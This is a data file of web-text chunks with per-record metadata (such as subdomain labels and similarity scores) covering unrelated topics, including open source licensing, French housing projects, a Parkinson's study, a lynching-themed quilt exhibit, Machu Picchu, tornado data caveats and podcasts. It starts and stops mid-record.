mit / x11 licenses or public domain are great too ) so i can hack on yours a bit rather than just having to start over from scratch? i don \u2019 t plan on releasing it under a license, but that shouldn \u2019 t stop you from making changes to the code if you like. of course, if i have the source in my possession \u2014 which is pretty much a given for any ruby program \u2014 i can indeed make changes to it if i like. the point he ignored is that without a license setting out what permissions the copyright holder grants to recipients of the code, these recipients cannot legally share changes with others. this effectively made any interest i had in improving his program dry up and blow away. it also effectively means that when he called it \u201c open source \u201d, he made an error either of ignorance or of deception. when i pointed out to him the legal problems involved, he declined to respond. there is some argument to be made as to whether a license that conforms to the requirements of the open source definition should be called an \u201c open source \u201d license even if it has not been certified by the osi itself. many of us are inclined to regard a license as an open source license if it obviously fits the definition, regardless of certification. by that standard, the open works license and wtfpl ( note : the full name of the wtfpl may not be safe for reading at work, depending on your workplace ; be careful clicking on that link ) are open source licenses. by the standards of the list of osi approved licenses, however, they are not \u2014 because the osi requires an extensive review process that lies somewhat outside the range of what many would - be license submitters have the time and resources to pursue. let us for argument \u2019 s sake accept that merely conforming to the open source definition is sufficient to call a license \u201c open source \u201d, regardless of official approval", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5245126136706879, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.645159"} {"text": "range of what many would - be license submitters have the time and resources to pursue. let us for argument \u2019 s sake accept that merely conforming to the open source definition is sufficient to call a license \u201c open source \u201d, regardless of official approval by the osi. by contrast with the bones irc bot, then, an irc bot called drollbot ( part of the larger droll project ) that i wrote from scratch to serve much the same purpose as bones actually is open source software, released under the terms of the open works license. the simple comparison of bones with drollbot serves to illustrate the difference between what really is open source software and what only pretends to be. the pretense, in this case, is an example of something many people call \u201c source - available software \u201d, where the source code is available but recipients are granted no clear legal permission to modify, redistribute, and even sell the software if they so desire \u2014 requirements of both the open source definition and the free software foundation \u2019 s definition of free software. there are many other concerns related to how we classify software and the licenses under which we distribute it, but many of them are secondary to the simple necessity of understanding what is or is not open source software at its most basic level. whether or not you consider a piece of software to qualify as \u201c open source software \u201d if the license under which it is distributed has not been officially approved by the osi, one thing is clear. that is the fact that before you go around telling people to download your \u201c open source software \u201d, you should give them assurances of the most basic requirement of open source software as differentiated from software that has merely been written in a language traditionally run by an interpreter rather than compiled to an executable binary : when you call something \u201c open source software \u201d, you must give all recipients a guarantee that they may modify and redistribute the software without fear of lawsuits for copyright violation. if you do not do that, by way of a license that conforms to the open source definition or by releasing the software into the public domain, what you give them is not open source software. period.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5402719008673842, "token_count": 444, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.646120"} {"text": "chinese culturalchinese culture chinese is spoken the most in all asian country, especially han people, which is the majority ethnic group in china. mandarin language is the official language in china nowadays, but in the ancient times people used to draw some symbolic mark instead of characters. writing is the most important component element in chinese language. \u201c there are roughly 70, 000 chinese characters and phonetic sounds. an average person has to know about 3, 000 characters to be able to read the newspaper. in secondary schools the number of characters taught is 5, 000. \u201d ( paulnoll 2012 ) hence, chinese language is generally considered a difficult language. chinese pay more attention to nutrition and healthy when they cooking food. wheaten food is essencial and normal in every meal. the most traditional and unique food in china is jiaozi, some people call it dumplings. chinese people like to cook dumplings to show their passion and hospitality to guests. \u201c dumplings are formed into the shape of the gold and silver ingots ( yuan bao ) that were used as money in ancient china ; they thus augur good fortune as well as good eating. \u201d ( hom 2002 ) in the ancient time of china, \u201c the three main types of traditional chinese clothing are the pien - fu, the ch ' ang - p ' ao, or long robe, and the shen - i. \u201d ( chinatownconnection 2012 ) nowadays, it is replaced by normal fashion clothes which come from western countries. however, some minority nationality in china keep wearing traditional clothes everyday. for example, miao group still wearing traditional clothes in normal day. most of chinese do not have religion, they have many freedom. some of them are buddhist because buddhist has the most richly history in china. many business man in china will ask fengshui of the land when they choosing location for their new company. chinese people believe that fengshui can decide and change people ' s luck. \u201c there is a very famous chinese saying that...", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47149847313638527, "token_count": 405, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.649376"} {"text": "montfermeil, france ( ap ) - - the streets in one of the paris region ' s toughest housing projects, burgeoning with immigrants, bear names like cezanne, picasso and utrillo, as if to stamp the french heritage onto the psyches of its residents. but neither the names of the great masters nor the idyllic images conjured up by the name of the project, les bosquets, or the groves, capture the daily realities of the french - style ghetto, an enclosed world where many residents don ' t speak french. delinquency soars and the unemployment rate is estimated at some 40 percent, nearly four times the national rate. montfermeil ' s town hall could not provide an official figure. just 17 kilometers ( 10. 5 miles ) from paris, les bosquets is light years from the world of parisians. les bosquets, like other projects that surround the big cities of france, belies this nation ' s special brand of integration whereby newcomers from afar assimilate into the french culture, becoming one with it whatever their origins. despite quiet debate, french authorities, whatever their political colors, have stood by a french model that ' s colorblind to differences, in total contrast to the u. s. notion of a vibrant melting pot. the story of france is often viewed as the antithesis to the u. s., one in which race and ethnicity are not counted in the government census and minority rights need not exist, due to residents who share a common identity of \" french. \" many french shudder at the word \" multiculturalism. \" but housing projects such as les bosquets, often cut off by poor public transport from the cities, raise questions about how much assimilation is really happening in france and whether the french model of integration, long the nation ' s pride, is wearing thin. even muslim immigrants from france ' s former north african colonies, many in their third generation, and making up a large portion of residents of les bosquets, are far from melding with the mainstream. for patrick simon, a leading demographer, the french model has a basic flaw that is becoming increasingly evident as time goes by. \" it ' s a model founded on the invisibility of differences, \" simon said. the problem is that minorities are increasingly visible, many of them with origins in france ' s former colonies in muslim north africa, and because \" we see them, we can ' t ignore their existence. \" even second", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4119162666899077, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.653314"} {"text": "of differences, \" simon said. the problem is that minorities are increasingly visible, many of them with origins in france ' s former colonies in muslim north africa, and because \" we see them, we can ' t ignore their existence. \" even second - and third - generation citizens of foreign origin are perceived as different and treated thus. statisticians are not allowed to count people by their origins, complicating research. but the postcard vision of france with church steeples perched over a contented populace that ' s wearing berets and carrying baguettes has been upended in the seine - saint - denis region northeast of paris. french kings are buried in the great cathedral of saint - denis, the main town, but traditional minorities have become the majority in the region. a study by simon puts immigrants and their descendants through the second generation at 75 percent of the city ' s population. it includes people from french overseas departments ( 8 percent ), who are french but of color. the jobless rate was 16. 5 percent in 2009, according to insee, the national statistics agency. but the economic leaders are in the white minority, simon said, putting new stress on the notion that immigrants and their children are being successfully assimilated. in les bosquets, the most widespread complaint remains poor public transport and the isolation that keeps les bosquets at a distance from mainstream france. it takes nearly 90 minutes to get to paris. \" they ' ve done everything to keep us closed among ourselves, \" said a 34 - year - old born in france of algerian parents. \" it is they who don ' t want us to integrate. \" like most residents of the projects, the man, who works with a private fire department, refused to identify himself by name. discrimination is a fact of life in france for minorities, and a poll by the ipsos firm published this year in the daily le monde showed no sign that that might lessen. a full 70 percent of those questioned felt there were \" too many foreigners in france. \" the finger was pointed, above all, at those of the muslim faith.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.36684011861593624, "token_count": 430, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.654305"} {"text": "kelvin lukaggregates of misfolded \u03b1 - synuclein proteins are not just hallmarks of parkinson \u2019 s disease, they actually initiate pathology, according to a report out today ( november 15 ) in science. a single injection of the aggregated proteins, known as lewy bodies, into the brains of healthy mice caused the propagation of such aggregates across networks of brain cells as well as the destruction of dopaminergic neurons, a key feature of parkinson \u2019 s disease. \u201c there had been this [ question ] with the lewy bodies as to whether they were sort of tomb - stone evidence of the disease occurring, or were more involved in the process, \u201d said gary miller, a professor of neurology at emory university in atlanta, georgia, who was not involved in the study. \u201c what this shows is that they are clearly part of the process. \u201d parkinson \u2019 s disease is one of a number of neurodegenerative conditions, including alzheimer \u2019 s and prion diseases, that are characterized by the accumulation of protein aggregates in the brain, miller explained. in prion diseases, misfolded proteins recruit and misfold more of the same protein, which in turn recruit and misfold additional proteins, and so on. \u201c people suspected something similar might be occurring with \u03b1 - synuclein in parkinson \u2019 s, \u201d said miller. \u201c this paper now shows a pretty crisp representation of this seeding of the \u03b1 - synuclein that can propagate this pathogenic aggregation. \u201d in addition to the presence of lewy bodies, the death of dopaminergic neurons in a part of the brain called the substantia nigra is a major feature of parkinson \u2019 s. indeed, it is this cell loss that causes the characteristic tremors, rigidity, and movement difficulties associated with the disease. but it wasn \u2019 t entirely clear how the death of dopamine neurons and the presence of lewy bodies were connected, explained virginia lee, director of the center for neurodegenerative disease research at the university of pennsylvania in philadelphia. the goal, \u201c was to somehow connect the dots to see whether we could provide a direct link between the [ lewy body ] pathology and the dopaminergic cell loss, \u201d she said. \u201c and in a nutshell, we were successful. \u201d lee \u2019 s team injected aggregates of misfolded \u03b1 - synuclein protein into a region of the brain called the striatum \u2014 chosen because it directly connects", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5279981044496483, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.658331"} {"text": "\u201d she said. \u201c and in a nutshell, we were successful. \u201d lee \u2019 s team injected aggregates of misfolded \u03b1 - synuclein protein into a region of the brain called the striatum \u2014 chosen because it directly connects to dopaminergic neurons in the substantia nigra, she explained. dissection and observation of the brains 30, 90, and 180 days later revealed a time - dependent spread of lewy bodies into the substantia nigra and other connected brain regions, and an accompanying time - dependent loss of dopaminergic neurons. the mice also displayed progressive deterioration in certain motor functions. \u201c one of the interesting aspects of this study is that they showed it happens in wild - type mice, \u201d said timothy greenamyre, director of the pittsburgh institute for neurodegenerative diseases in pennsylvania. \u201c there was some conjecture that this process of \u03b1 - synuclein aggregation and transmission may depend on an aberrant template \u2014 an \u03b1 - synuclein mutation, for example \u2014 and that \u2019 s clearly not the case, \u201d he said. the fact that misfolding and aggregating an otherwise normal protein can invoke parkinson \u2019 s disease pathology and deterioration of motor function in healthy mice might be a cause for concern, said michel goedert, a neurobiologist at the medical research council laboratory of molecular biology in cambridge, uk. \u201c the question is, how similar is this phenomenon to what you get in prion diseases? \u201d he said. prions are known to transmit from person - to - person, albeit rarely and by unconventional routes. if misfolded \u03b1 - synuclein somehow made it from one person to another, could it also cause disease? there is no evidence to suggest parkinson \u2019 s disease can be similarly transmitted, goedert said, but \u201c it \u2019 s something in the long run that needs addressing. \u201d regardless of the degree to which \u03b1 - synuclein acts like a prion, the finding that its aggregates propagate from neuron to neuron should help researchers work out the cellular mechanisms of disease progression, said goedert \u2014 and more importantly, learn how to stop it. k. c. luk et al., \u201c pathological \u03b1 - synuclein transmission initiates parkinson - like neurodegeneration in nontransgenic mice, \u201d science, doi : 10. 1126 / science. 1227157, 2012.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4910186109322838, "token_count": 504, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.659442"} {"text": "the apocalypse, or book of revelation, is not only the last book of the new testament, but its most difficult, puzzling, and terrifying. it provided challenges to medieval illustrators and was the source for a number of popular images, such as christ in majesty, the adoration of the lamb, and the madonna of the apocalypse and contributed to the widespread use of the evangelists ' symbols. selected images from apocalypse then : medieval illuminations from the morgan, an exhibition held at the morgan are presented here. the exhibition celebrates the completion of a facsimile of the morgan ' s las huelgas apocalypse \u2014 the latest dated ( 1220 ) and largest surviving manuscript of a spanish tradition of illuminated commentaries on the apocalypse by the monk beatus of liebana. the series of manuscripts constitutes spain ' s most important contribution to medieval manuscript illumination. the las huelgas apocalypse contains three sections : the prefatory cycle, the apocalypse, and the book of daniel. in addition to forty - nine images from the las huelgas apocalypse, six images from other manuscripts in the morgan ' s collections, including the earliest beatus painted by maius and one by the master of the berry apocalypse, are in this presentation. last judgment ( rev. : 20 : 11 \u2013 15 ) christ the judge sits at the top in a mandorla supported by two angels. below, in three registers, are six pairs of seated saints ( probably apostles ), each pair with a saint standing behind. these bless the elect, represented by groups of nimbed saints. the registers at right contain the damned. the men at the top clasping hands are those damned together ; below, men suffer individually ; at bottom, the damned are tortured in a lake of fire with ovenlike walls. maius tells us that he made this book so that the \" wise may fear the coming of the future judgment of the world ' s end. \" the use of bands of color and miniatures extending over two pages represent maius ' s contribution to the beatus tradition. these pages are from one of the earliest surviving illuminated manuscripts in the spanish tradition. written and illuminated by maius ( ca. 945 ) in the famous tower scriptorium of the monastery of san salvador de tabara, it is the most important spanish illuminated manuscript in the united states.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46888774834272423, "token_count": 471, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.665190"} {"text": "annette smith, left, betty frierson and ruth edwards, members of the indy connection quilters, work on the next quilt for the lynch quilt project titled red rum summer. / frank espich, the indianapolis star indianapolis - - quilts are supposed to be warm and comforting. but artist lashawnda crowe storm ' s quilt is provocative and disturbing - - and purposely so. the quilt, \" her name was laura nelson, \" depicts the life - size image of the lynching of a black woman a century ago. and now it is available at the indianapolis central library for all to see and ponder and discuss. the quilt will be shown through march 23 as part of the library ' s \" meet the artists \" exhibit, which includes pieces from 15 local black artists. the piece drew some strong reactions from those who walked by the exhibit on sunday. \" i find it very offensive, \" said randolph davison, 55, an african - american and retired serviceman from gary. \" we ' ve been through enough and don ' t need remembrances like this. \" davison said a piece like this does not belong in a public library. \" it makes me want to cry, \" he said. tamara moore, 37, a white woman from indianapolis, was with her 7 - year - old daughter, samantha, when they came across the quilt. samantha seemed confused by the image, but her mother was clearly outraged by it. \" why would they make a quilt like that? it ' s horrible, \" moore said, who also said she didn ' t think it belonged in a public library. the artist says such a response is a good thing. for many, crowe storm said, viewing the quilt is like opening a wound. no wound heals, she said, until it bleeds. \" something that needs to be addressed is this history of racism, \" crowe storm said. \" lynching was really about controlling a population to stay in their place. \" community leaders and scholars say the quilt is a reminder of a time in history many would rather ignore. there is no ignoring this quilt. the woman ' s image comes from a black - and - white photo of a lynching near okemah, okla., on may 25, 1911. in a sea of soft white fabric bordered by black and red, the body of laura nelson dangles from a rope, head cocked sharply to the side on her broken neck. \" the art form is very important in the telling of the stories of black people, \" said", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39315225199162945, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.671764"} {"text": "soft white fabric bordered by black and red, the body of laura nelson dangles from a rope, head cocked sharply to the side on her broken neck. \" the art form is very important in the telling of the stories of black people, \" said valerie grim, chairwoman of indiana university ' s department of african american and african diaspora studies. \" lynching, as a reality of black people, was one of the worst moments in the history of america. \" the quilt reminds us of terrible deeds and ugly times. the wounds of slavery, racism and oppression still linger in the u. s., grim said, and it ' s important to face our past, regardless of how uncomfortable it makes us. teaching the young the rev. charles harrison, pastor at barnes united methodist church, said he understands that many will be hurt by the image on the quilt. still, he thinks it is an important teaching tool. \" for those who are old enough to remember the dark past, it ' s a reminder, \" said harrison, the president of the ten point coalition, a faith - based anti - crime group that counsels inner - city youths. \" sometimes, we have to remind ourselves and the younger generation of the heavy price that was paid by those who were part of the civil rights movement. \" john h. stanfield ii, a professor in iu ' s department of african american and african diaspora studies, said the library must be responsible in how it presents the quilt. \" the quilt is not only an art piece, \" stanfield said, \" but also a device that should be used to educate the public about the horrors of lynching. \" the quilt, he said, might be a catalyst for discussion and action. \" ready or not, our moment for serious discussion has arrived, \" stanfield said. \" none of us, irrespective of our ancestry, can afford to remain ignorant, naive, prejudiced or fearful about racial differences. \" opening a dialogue stanfield said the library must ensure that the quilt does more than simply shock and disturb. jackie nytes, the indianapolis public library ' s chief executive officer, said the quilt is part of a broader educational effort. \" it ' s not an easy subject, no doubt about it, \" nytes said. \" neither were the aids quilts when those were circulated around the country. \" the quilt confronts patrons as they step off an escalator on the library ' s third floor. a black nylon partition keeps the public a little more than an arm '", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40401372898421883, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.672836"} {"text": "\" neither were the aids quilts when those were circulated around the country. \" the quilt confronts patrons as they step off an escalator on the library ' s third floor. a black nylon partition keeps the public a little more than an arm ' s length away. although the quilt is not under guard, library staff are always in the vicinity. \" for any parents who find themselves in the situation of walking past it with their child, i hope they are able to say : ' this was a very sad time in american history, and we don ' t do this anymore, ' \" nytes said. \" this is a learning moment. we don ' t do our kids any favors by pretending it didn ' t happen. \" exhibit curator tony radford said a committee that accepted the crowe storm quilt believed it was designed to enlighten, educate and heal. the display includes signs explaining the artist ' s background and goals for the piece. \" ( february ) is black history month, and this is part of our history, our culture, \" said radford, also an artist who will have some pieces on display in the exhibit. \" art is not always going to be pretty flowers. \" part of our past thousands of men and more than 100 women were lynched in america between 1850 and 1950, but crowe storm said laura nelson was the only woman she could find who was photographed in the noose. having a woman on the quilt was important, crowe storm said, because she hopes her piece brings up issues of gender and violence. \" lynching is not just a black history ; it ' s an american history, \" crowe storm said. \" we must begin to address it as a nation, or we won ' t be able to move forward. \" copyright 2013 usatoday. com read the original story : quilt depicting horrors of lynching stirs emotions", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.38920154585835265, "token_count": 378, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.673658"} {"text": "csiro mine safety tech becomes archaeological tool zebedee helps map ancient cave etchings a 3d mapping technology announced earlier this year by australia \u2019 s science agency csiro is being used to help map what might be the world \u2019 s oldest cave etchings. during december, csiro scientists undertook an exploration on behalf of the adelaide museum, in which they took the technology known as zebedee into the delicate koonalda cave in south australia. the cave was used as a flint mine by australian aborigines as far back as 30, 000 years ago, the cave includes markings known as \u201c finger flutings \u201d, apparently made by dragging the hand across the soft limestone walls. enter zebedee, a 3d mapping system created by the csiro and licensed to uk company geoslam. the handheld system gathers a real - time point cloud of its surroundings without needing systems like gps as a reference ( handy, since gps doesn \u2019 t work underground ). zebedee consists of a lightweight lidar ( light detection and ranging ) set, along with inertial measurement. and yes, its inventors \u2013 robert zlot and mike bosse of the csiro \u2019 s autonomous systems lab \u2013 say its name was inspired by the character in the magic roundabout. new scientist describes the expedition to map the caves here - and the purpose of the finger flutings still remains a mystery. however, with the 3d maps, researchers can at least examine the cave from their desktop, without the six - hour drive to reach the caves. \u00ae", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.5154676972545942, "token_count": 312, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.675470"} {"text": "ruins show ' lost city ' of the incas was part of vast complex david keys \u2013 the independent november 7, 2003 the world ' s most famous \" lost city \" - the inca ruins of machu picchu in peru, found in the early 20th century - was part of a much larger complex, according to sensational new archaeological discoveries. while investigating a mountain ridge facing the andean city, an anglo - american expedition has discovered a previously unknown series of high - status sacred ceremonial buildings scattered over at least a square mile of jungle. so far, using airborne infra - red reconnaissance and exploration of the jungle itself, the team - led by the british explorer hugh thomson and the american archaeologist gary ziegler - have found 33 previously unknown buildings. they also found seven others which had originally been located by the american explorer hiram bingham in 1912, but the whereabouts of which had been lost, as bingham left no compass bearings. preliminary examination of the ruins suggests that the complex was a large religious centre used for ceremonies and astronomical observations. the new area istwo miles from machu picchu itself. the expedition has identified, as well as the buildings, eight plazas, seven 10ft - highplatforms and a series of walled walkways connecting structures. the buildings include a massive storehouse, a probable sun temple ( resembling in several ways the great sun temple in the inca capital, cuzco, 45 miles away ), and a two - storey observatory, for watching solar equinoxes and solstices. the archaeologists believe that the complex was probably built by the inca emperor pachacuti in the mid - 15th century. the complex, known as llactapata, appears to have been constructed along with machu picchu as part of one overall plan. buildings in both machu picchu and llactapata are aligned with each other and with mount machu picchu, which dominates the site. the ruined fortress city of machu picchu ( \" manly peak \" ) consists of about 200 buildings at an altitude of 8, 000ft. it was probably used to provide seasonal high - status accommodation and some ceremonial facilities for the ruler and his entourage, with room for 1, 200 people, possibly during the winter when cuzco became very cold. llactapata, on the other hand, appears to have been more ceremonial in nature. the sites therefore complemented each other and formed a greater whole facing each other across the aobamba river. mr ziegler said : \" this is an important", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.39355026273638644, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.679486"} {"text": "over 8, 000 websites created by students around the world who have participated in a thinkquest competition. compete | faq | contact us water, water, everywhere... we, as humans, must learn to comprehend the tremendous power water has over us all. without this simple hydrogen - oxygen substance, life would cease to exist. yet, the simple fact remains that we are depleting our water resources at an alarming rate and we must understand the fact that water is finite, even though the capability remains to produce this substance. water is something we should cherish, value, and respect ; for without it, we would be no more. \" water, water, everywhere... \" is an educational site that digs deep into all aspects of water, a truly fascinating substance. from scientific aspects to health benefits and consequences to its sheer destructive force, this in - depth look at water will help provide the basic, fundamental education necessary to help not only save a life, but the lives of countless billions. 2001 achievement award jaredplainview - old bethpage / jfk hs, plainview, ny, united states chean fonksabah tshung tsin secondary school, kota kinabalu, malaysia 19 & under carol calderwoodcalderwood household, north lambton, australia onno fabertechnische universiteit delft, wijk bij duurstede, netherlands social sciences & culture > education social sciences & culture > education > homework & study guides english, spanish, dutch", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5420500786918172, "token_count": 307, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.683460"} {"text": "librarian of congress james billington points to a correction in the rough draft of the declaration of independence written by thomas jefferson, friday, july 2, 2010, at the library of congress in washington. recent imaging of the document clearly confirmed that jefferson originally wrote \" subject \" then changed it to \" citizen. \" ( ap photo / susan walsh ) washington \u2014 preservation scientists at the library of congress have discovered that thomas jefferson, even in the act of declaring independence from england, had trouble breaking free from monarchial rule. in an early draft of the declaration of independence, jefferson wrote the word \" subjects, \" when he referred to the american public. he then erased that word and replaced it with \" citizens, \" a term he used frequently throughout the final draft. the library released news of the struck word for the first time on friday. fenalla france, a research chemist at the library, said her lab made the discovery last year by using hyperspectral imaging, using a high resolution digital camera that compiles a series of images to highlight layers of a document. some of those invisible layers \u2014 like erased text and even fingerprints \u2014 pop into view on a computer screen. in switching from \" subjects \" to \" citizens, \" france said it appears jefferson used his hand to wipe the word out while the ink was still wet. a distinct brown smudge is apparent on the paper, although the word \" subjects \" is not legible without the help of the digital technology. \" this has been a very exciting development, \" france said, calling the findings \" spine - tingling. \" historic, handwritten documents reveal clues about the past that word processors cannot illuminate, said james billington, librarian of congress. \" it shows the progress of his mind. this was a decisive moment, \" billington said. \" we recovered a magic moment that was otherwise lost to history. \" accompanied by police escort, the document was unveiled outside its protective case for the first time in 15 years on friday morning for a demonstration of the hyperspectral imaging technology. it normally can only be viewed through a 130 - poundb oxygen - free safe. donning a pair of white researchers ' gloves, maria nugent, director of the library of congress ' top treasures collection, slowly lifted a piece of off - white corrugated cardboard to reveal the rough draft of the declaration, which includes handwritten corrections by both john adams and benjamin franklin. \" that ' s a pretty good editorial committee, \" said billington, who was present for the procedure. the rough draft", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.49620254730868096, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.686451"} {"text": "tornadoes in may, 2000 the tornado history project generates approximate paths through separate historical archives provided by the storm prediction center ( spc ) and the national climatic data center ( ncdc ). paths generated from the ncdc data are typically more detailed, but neither archive gives exact path information. there are several reasons that paths may be inaccurate : - tornado touchdown and liftoff coordinates were recorded with only 2 digits of decimal precision ( i. e. [ 33. 72, - 86. 15 ] vs [ 33. 71689, - 86. 15463 ] ). as a consequence, the observed points on the map may be slightly off from actual. note that beginning in 2009, up to 4 digits of decimal precision are given. - coordinates have not historically been calculated via gps ( global positioning system ). thus, tornado touchdown and liftoff coordinates should be considered as estimates only. - tornadoes may not have been in contact with the ground for the entire path as depicted on the map. storm damage in any location depicted under the \" path \" should not be inferred. - although paths are drawn as straight lines between any two sets of coordinates, the tornado may have \" zigzagged \" in some way. - although paths are drawn as uniform thin lines on the map, it is likely that the tornado changed size over its lifetime. damage in any location depicted under ( or not under ) the \" path \" should not be inferred. even with the above in mind, the data is the best available. if you see a path that is depicted incorrectly, please post a comment in the tornado forum indicating why you belive the path to be incorrect. paths generated from ncdc data are typically more detailed due to the way coordinates are listed in each archive : - spc database - a maximum of 2 coordinates ( touchdown and liftoff ) is given for each tornado, or each state segment of a tornado if it is a multi - state tornado. thus the vast majority of paths are depicted as simple straight lines. - ncdc database - some tornadoes have mutliple sets of coordinates within any state, generally corresponding to entry and exit points by county. thus, since more coordinates have been used to draw the path, the depicted path should be more accurate. having said that, most tornadoes do not have additional path data in the ncdc archive. when they do, paths are drawn from the ncdc data. the following statistics and definitions are derived from the storm prediction center ( spc ) historical tornado archive. the tornado", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4419986781641173, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.694058"} {"text": ", most tornadoes do not have additional path data in the ncdc archive. when they do, paths are drawn from the ncdc data. the following statistics and definitions are derived from the storm prediction center ( spc ) historical tornado archive. the tornado history project can not guarantee the accuracy of the underlying data within the spc historical tornado archive. however, the data as presented here is guaranteed to match the spc data, except where noted. some definitions will not be given since they are obvious ( i. e. \" date \", \" time \", etc... ) special note : this site uses a unique index number to identify each tornado. this index number is not a part of the official historical tornado archive. e ( error ) ( tornado search table only ) - a yellow box indicates that the tornado record contains a suspected error. a red box indicates that the tornado record contains an error and has been modified from the official source. hover over the box for the error text. map / forum ( tornado search table only ) - clickable icons for further content related to a tornado. state - the state or states affected by a tornado. fujita - the fujita scale is an attempt to classify damage from a tornado. f0 being the least damaging, f5 the most. for 2007 and beyond, the enhanced fujita ( ef ) is given. fat. - the number of fatalities attributed to the tornado. inj. - the number of injuries attributed to the tornado. width - width in yards. it is unclear if this indicates a maximum width or mean width. length - length of tornado path in miles. note the entire track length is not necessarily all on the ground ( some tornadoes \" hop and skip \". ) damage - prior to 1996, this is a range by dollar amount. for 1996 and later, actual damage estimates are in millions. crop loss - added in 2007. given in millions of dollars. lat / lon - contains two sets of coordinates : - touchdown latitude / longitude - for single state tornadoes, and the overall record for multi - state tornadoes, the approximate touchdown location in decimal degrees. for the state specific records of multi - state tornadoes, entry point into the state in decimal degrees. - liftoff latitude / longitude - for single state tornadoes, and the overall record for multi - state tornadoes, the approximate liftoff location in decimal degrees. for the state specific records of multi - state tornadoes, the exit or lift - off point from the state in decimal degrees. st. #.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4934273634407817, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.698111"} {"text": "tv is one of the most popular forms of media. as much as there are many people who might want to dispute this, a majority of people still find themselves drawn to the entertainment box. radio which was more popular in the previous generation is slowly losing its glory. this is mostly because there are numerous gadgets that can be used to listen to music. podcasts for example can be used in place of the radio. this is one of the things that is increasingly gaining popularity in social media. some of the basics that involve the podcasts include : this is a combination of the words \u201c broadcast \u201d and \u201c ipod \u201d ; podcasts are a kind of digital media that is episodic. users can download to this media via web syndication when they have subscribed. they take the form of the audio although there are video podcasts where slideshows are used. in the past, they were only used by the techie demographic but the general public son caught up. content used in the podcasts usually ranges from culture, sports, music and magic among many others. social media and podcasts podcasts were introduced almost at the same time as social media. most people understand social media as fancy web 2. 0 terminologies that are related to facebook and twitter which are a means of opening up communication as well as interactions between organizations and their followers, fans and audience, brands and persons. the podcasts allow for a wider interaction with people mostly because of the syndication feeds. feeds permit the users to download the podcasts once they have been released and listen to them using a variety of mediums. this is different from the radio where you have to tune in at a specific time or date. most of the time, the people who have produced the podcasts will become the producers and vice versa thus they end up holding conversations with each other. podcasting calling usually calls for active participation and listening. content and freedom podcasts empower both the consumer and the producer. listeners can choose the time they want to listen to the content. anyone with a computer and microphone can participate as it does not have too many restrictions. they have become one of the most unique ways of sharing information / content. podcasts have broad audience, do not have any restrictions, can be used easily as it does not have difficult applications and is one of the major forms of media which gives people voice to be heard. more on podcast transcription", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46901598509708053, "token_count": 486, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.703225"} {"text": "euglobulin lysis time ( elt ) is a blood test that looks at how fast clots break down in the blood. euglobulin clot lysis ; fibrinolysis / euglobulin lysis ; elt a blood sample is needed. for information on how this is done, see venipuncture the laboratory specialist will run tests on the blood sample to see how fast blood clots dissolve. the dissolving of blood clots is called fibrinolysis. no special preparation is usually needed. when the needle is inserted to draw blood, some people feel moderate pain, 